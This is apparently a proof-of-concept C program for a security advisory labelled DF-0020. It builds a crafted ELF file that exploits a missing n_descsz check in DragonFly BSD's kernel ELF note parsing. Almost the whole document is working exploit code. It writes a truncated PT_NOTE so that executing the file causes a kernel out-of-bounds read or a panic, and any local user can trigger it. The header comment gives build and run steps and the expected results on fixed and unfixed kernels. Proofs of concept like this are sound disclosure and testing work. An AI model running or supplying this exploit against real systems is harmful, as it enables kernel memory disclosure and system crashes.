DF-0020 / elf_note_oob.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 | /* * DF-0020 PoC - ELF ABI-note descriptor out-of-bounds read. * * note_overflow() (sys/kern/imgact_elf.c:1700-1707) validates that a note's * n_namesz fits in the remaining PT_NOTE segment, but never validates n_descsz. * When a crafted, truncated .note.ABI-tag matches the DragonFly brandnote * (n_namesz=10 "DragonFly\0", n_descsz=4, n_type=1, vendor "DragonFly"), * bsd_trans_osrel() reads the 4-byte descriptor at * note + sizeof(Elf_Note) + roundup2(n_namesz, 4) == note + 24 * A segment of p_filesz=22 passes note_overflow (12<=22 and 10<=10) yet the * desc read lands at note+24, 2..6 bytes past note_end -> kernel OOB read of * adjacent memory (or a page fault -> panic if it straddles an unmapped page). * * Trigger: any local user execve(2)s a crafted ELF; the image activator runs * for every local exec of an attacker-owned file, no privilege required. * * NOTE on EI_OSABI: we set EI_OSABI=200 (not ELFOSABI_NONE=0) so the brand * can ONLY be selected via the PT_NOTE match path (loop 1 in get_brandinfo). * With EI_OSABI=0, DragonFly's brand matches via EI_OSABI fallback regardless * of the note, masking the bug behaviorally. With EI_OSABI=200 the unfixed * kernel accepts the binary (note-match succeeds => OOB read happens), while * the FIXED kernel (n_descsz checked) rejects it with ENOEXEC ("Exec format * error") - a clean, deterministic before/after contrast. * * Build: cc -o elf_note_oob elf_note_oob.c * Run: ./elf_note_oob /tmp/oob_elf && chmod +x /tmp/oob_elf && /tmp/oob_elf * * Expected (bug present, UNFIXED kernel): execve SUCCEEDS - the crafted binary * is loaded (brand matched via the truncated PT_NOTE, OOB read happens * silently); since the binary has no PT_LOAD, control jumps to e_entry=0 * and the process dies with SIGSEGV. No "Exec format error". * * Expected (FIXED kernel, n_descsz checked): execve FAILS with ENOEXEC; the * shell prints "Exec format error" (no segfault, no OOB). */ #include <err.h> #include <fcntl.h> #include <stdint.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/stat.h> /* ELF64 layout */ #define PT_NOTE 4 #define ET_EXEC 2 #define EM_X86_64 62 typedef struct { unsigned char e_ident[16]; uint16_t e_type; uint16_t e_machine; uint32_t e_version; uint64_t e_entry; uint64_t e_phoff; uint64_t e_shoff; uint32_t e_flags; uint16_t e_ehsize; uint16_t e_phentsize; uint16_t e_phnum; uint16_t e_shentsize; uint16_t e_shnum; uint16_t e_shstrndx; } __attribute__((packed)) Elf64_Ehdr; typedef struct { uint32_t p_type; uint32_t p_flags; uint64_t p_offset; uint64_t p_vaddr; uint64_t p_paddr; uint64_t p_filesz; uint64_t p_memsz; uint64_t p_align; } __attribute__((packed)) Elf64_Phdr; /* Elf_Note header ( Elf64_Note is the same layout as Elf32_Note ) */ typedef struct { uint32_t n_namesz; uint32_t n_descsz; uint32_t n_type; } __attribute__((packed)) Elf_Note; #define NAMESZ 10 /* "DragonFly\0" */ #define DESCSZ 4 /* brandnote claims a 4-byte desc */ #define NTYPE 1 static const char VENDOR[NAMESZ] = "DragonFly"; /* NUL-terminated, 10 bytes */ int main(int argc, char **argv) { const char *out = argc > 1 ? argv[1] : "/tmp/oob_elf"; unsigned char page[4096]; Elf64_Ehdr *eh; Elf64_Phdr *ph; Elf_Note *nh; int fd; memset(page, 0, sizeof(page)); /* * Choose noteloc so that: * - noteloc is 4-byte aligned (the note walk's aligned(note, Elf32_Addr) * check at imgact_elf.c:1778 otherwise breaks immediately); * - endbyte = noteloc + notesz stays < PAGE_SIZE so we take the * limited_to_first_page path (buffer = imgp->image_header, a single * 4096-byte page mapped via lwbuf); * - yet the descriptor read at note+24..note+28 = noteloc+24..noteloc+28 * crosses past the 4096-byte page boundary -> kernel OOB read past * the mapped lwbuf page (may fault -> panic, or silently read the * adjacent kernel page). * * noteloc = 4072: endbyte = 4094 (< 4096 OK); note+24 = 4096, note+28 = 4100 * -> reads 4 bytes straddling the page boundary (4096..4100). Two of * those bytes (4094..4096) are still inside image_header (where they are * attacker-zeroed, since we memset the page to 0); the upper two * (4096..4100) are PAST the mapped page -> OOB into adjacent KVA. */ size_t noteloc = 4072; size_t ehdr_sz = sizeof(*eh); size_t phoff = ehdr_sz; eh = (Elf64_Ehdr *)page; eh->e_ident[0] = 0x7f; eh->e_ident[1] = 'E'; eh->e_ident[2] = 'L'; eh->e_ident[3] = 'F'; eh->e_ident[4] = 2; /* ELFCLASS64 */ eh->e_ident[5] = 1; /* ELFDATA2LSB */ eh->e_ident[6] = 1; /* EV_CURRENT */ eh->e_ident[7] = 200; /* EI_OSABI: obscure value, so brand * can ONLY be matched via PT_NOTE */ eh->e_type = ET_EXEC; eh->e_machine = EM_X86_64; eh->e_version = 1; eh->e_phoff = phoff; eh->e_ehsize = (uint16_t)ehdr_sz; eh->e_phentsize = (uint16_t)sizeof(*ph); eh->e_phnum = 1; ph = (Elf64_Phdr *)(page + phoff); ph->p_type = PT_NOTE; ph->p_offset = noteloc; ph->p_filesz = sizeof(*nh) + NAMESZ; /* 22 bytes: header + name, NO desc */ ph->p_align = 4; nh = (Elf_Note *)(page + noteloc); nh->n_namesz = NAMESZ; nh->n_descsz = DESCSZ; /* LIES: claims a 4-byte desc */ nh->n_type = NTYPE; memcpy((unsigned char *)(nh + 1), VENDOR, NAMESZ); fd = open(out, O_WRONLY | O_CREAT | O_TRUNC, 0755); if (fd < 0) err(1, "open %s", out); if (write(fd, page, 4096) != 4096) err(1, "write"); close(fd); fprintf(stderr, "[+] wrote crafted ELF to %s\n", out); fprintf(stderr, "[+] PT_NOTE at offset %zu, p_filesz=%zu " "(descriptor claimed %uB but truncated)\n", noteloc, (size_t)ph->p_filesz, DESCSZ); fprintf(stderr, "[+] bsd_trans_osrel reads at note+24=%zu, end=%zu " "(page ends at %d) -> OOB\n", noteloc + 24, noteloc + 28, 4096); return 0; } |